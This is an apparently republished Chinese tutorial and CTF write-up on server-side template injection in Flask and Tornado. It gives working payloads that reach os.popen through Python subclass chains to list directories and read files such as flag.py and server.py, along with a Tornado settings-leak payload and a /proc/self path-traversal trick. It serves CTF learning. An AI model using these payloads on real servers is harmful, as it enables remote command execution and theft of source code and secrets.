服务器模板注入 (SSTI)

2024-01-01 06:08
文章标签 模板 服务器 注入 ssti

本文主要是介绍服务器模板注入 (SSTI),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

服务器模板注入 (SSTI)

基本注入流程

''.__class__		显示这个东西的类
''.__class__.base__		找到这个的基类
''.__class__.__base__.__subclasses__()		看基类的子类

敏感子类
popen、sys、os

因为''.__class__.__base__.__subclasses__()返回的是一个列表,
所以直接''.__class__.__base__.__subclasses__()[425]查看的就是popen这个

注意:这里的425要根据''.__class__.__base__.__subclasses__()实际返回的数组,观察Popen的位置来决定

到了这里就可以使用某些子类来进行操作了,下面使用[177]这个子类<class 'warnings.catch_warnings'>进行操作

比如说查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看目录下的文件,这里查看的是test目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /test").read()')

然后读取需要的文件,这里是读取test目录下的flag.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /test/flag.py").read()')

绕过限制

参考:https://www.cnblogs.com/zaqzzz/p/10263396.html

通过模板注入获取tornado中的cookie

利用handler.settings对象
因此构造{{handler.settings}}

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
原文链接:https://blog.csdn.net/zz_Caleb/article/details/101473013/

参考来自:https://www.e-learn.cn/topic/3340461



题目

SSTI

这是一道来源于BUUCTF的N1BOOK的题目,[第三章 web进阶]SSTI

?password={{7*7}}

观察回显发现是flask模板注入

?password={{''.__class__.__base__.__subclasses__()}}

看看有什么子类可以利用

?password={{''.__class__.base__.__subclasses__()}}

发现[177]这个子类是<class 'warnings.catch_warnings'>

利用它查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看app目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')

然后读取server.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')

题目有多种解法
参考来自:
https://blog.csdn.net/CyhDl666/article/details/115004845
https://blog.csdn.net/qq_51558360/article/details/114493766

afr_3

这是一道来源于BUUCTF的N1BOOK的题目,[第一章 web入门]afr_3

开头是文件包含,经过一系列操作,
根据../../../../../proc/self/cmdline得出的信息可以知道,当前正在运行 pythonserver.py

在这里时需要想到,应该利用python的flask进行模板ssti注入,从而读取flag

根据/proc/的特性,可以读取正在运行的pythonserver.py的源码
?name=../../../../../proc/self/cwd/server.py

原理是使用proc指定self代表当前进程,然后cwd指向运行的文件pythonserver.py

得到的信息里面有flag.py,但是直接访问显示权限不够
访问另一个的文件key.py得到

#!/usr/bin/python 
key = 'Drmhze6EPcv0fN_81Bj-nA'

后面待续

参考来自:
https://www.cnblogs.com/murkuo/p/14905749.html

这篇关于服务器模板注入 (SSTI)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/558353

相关文章

SpringBoot中@Value注入静态变量方式

《SpringBoot中@Value注入静态变量方式》SpringBoot中静态变量无法直接用@Value注入,需通过setter方法,@Value(${})从属性文件获取值,@Value(#{})用... 目录项目场景解决方案注解说明1、@Value("${}")使用示例2、@Value("#{}"php

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

Web服务器-Nginx-高并发问题

《Web服务器-Nginx-高并发问题》Nginx通过事件驱动、I/O多路复用和异步非阻塞技术高效处理高并发,结合动静分离和限流策略,提升性能与稳定性... 目录前言一、架构1. 原生多进程架构2. 事件驱动模型3. IO多路复用4. 异步非阻塞 I/O5. Nginx高并发配置实战二、动静分离1. 职责2

Linux搭建ftp服务器的步骤

《Linux搭建ftp服务器的步骤》本文给大家分享Linux搭建ftp服务器的步骤,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录ftp搭建1:下载vsftpd工具2:下载客户端工具3:进入配置文件目录vsftpd.conf配置文件4:

Spring-DI依赖注入全过程

《Spring-DI依赖注入全过程》SpringDI是核心特性,通过容器管理依赖注入,降低耦合度,实现方式包括组件扫描、构造器/设值/字段注入、自动装配及作用域配置,支持灵活的依赖管理与生命周期控制,... 目录1. 什么是Spring DI?2.Spring如何做的DI3.总结1. 什么是Spring D

Linux查询服务器 IP 地址的命令详解

《Linux查询服务器IP地址的命令详解》在服务器管理和网络运维中,快速准确地获取服务器的IP地址是一项基本但至关重要的技能,下面我们来看看Linux中查询服务器IP的相关命令使用吧... 目录一、hostname 命令:简单高效的 IP 查询工具命令详解实际应用技巧注意事项二、ip 命令:新一代网络配置全

Python开发简易网络服务器的示例详解(新手入门)

《Python开发简易网络服务器的示例详解(新手入门)》网络服务器是互联网基础设施的核心组件,它本质上是一个持续运行的程序,负责监听特定端口,本文将使用Python开发一个简单的网络服务器,感兴趣的小... 目录网络服务器基础概念python内置服务器模块1. HTTP服务器模块2. Socket服务器模块

Linux查询服务器系统版本号的多种方法

《Linux查询服务器系统版本号的多种方法》在Linux系统管理和维护工作中,了解当前操作系统的版本信息是最基础也是最重要的操作之一,系统版本不仅关系到软件兼容性、安全更新策略,还直接影响到故障排查和... 目录一、引言:系统版本查询的重要性二、基础命令解析:cat /etc/Centos-release详

Python WSGI HTTP服务器Gunicorn使用详解

《PythonWSGIHTTP服务器Gunicorn使用详解》Gunicorn是Python的WSGI服务器,用于部署Flask/Django应用,性能高且稳定,支持多Worker类型与配置,可处... 目录一、什么是 Gunicorn?二、为什么需要Gunicorn?三、安装Gunicorn四、基本使用启